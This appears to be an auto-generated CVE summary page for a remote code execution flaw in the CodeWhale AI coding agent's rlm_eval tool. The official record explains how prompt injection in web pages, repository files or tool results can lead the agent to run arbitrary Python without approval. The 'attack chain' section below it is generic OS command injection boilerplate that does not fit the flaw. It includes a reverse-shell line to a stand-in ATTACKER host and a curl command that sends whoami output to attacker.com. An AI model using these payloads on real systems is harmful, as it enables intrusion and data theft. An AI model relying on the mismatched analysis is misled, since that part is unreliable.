CVE-2026-75858 — rlm_eval tool — CWE-94
CVE-2026-75858 is a HIGH severity Remote Code Execution (RCE) vulnerability (CWE-94) (CVSS 7.8/10) affecting rlm_eval tool. Technical vector analysis shows that an attacker can exploit this flaw via local access (AV:L) without authentication (PR:N) requiring user interaction, resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
CodeWhale (packages codewhale / codewhale-tui) versions >= 0.8.41 and < 0.8.64 contain a remote code execution vulnerability in the rlm_eval tool. The tool's approval_requirement() returns ApprovalRequirement::Auto, which the engine treats as 'never prompt,' causing arbitrary model-supplied Python code to run in a python3 interpreter without consulting the user's configured --approval-policy and without any approval prompt or audit step. An attacker can induce the agent to execute arbitrary code via prompt injection in untrusted content the agent reads (a web page, fetched URL, repository file, or MCP tool result); the companion rlm_open tool can stage such content. Code runs on the user's machine at the user's privilege level. Fixed in 0.8.64.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-75858
CVSS 7.8/10 · HIGH · 18.08.2026
CWE: CWE-94
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
OS Command Injection
Summary: CodeWhale (packages codewhale / codewhale-tui) versions >= 0.8.41 and < 0.8.64 contain a remote code execution vulnerability in the rlm_eval tool. The tool's approval_requirement() returns ApprovalRequirement::Auto, which the engine treats as 'never prompt,' causing arbitrary model-supplied Python code to run in a python3 interpreter without consulting the user's configured --approval-policy an…
⚡ ATTACK CHAIN
1. Test injection: ; id, | id, backtick execution.
2. Blind via time delay: ; sleep 5
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
4. OOB: ; curl https://attacker.com/$(whoami|base64)
🔧 Tools: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190
🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Never pass user input to shell commands.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
⚠️ Planned maintenance (2 weeks).
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]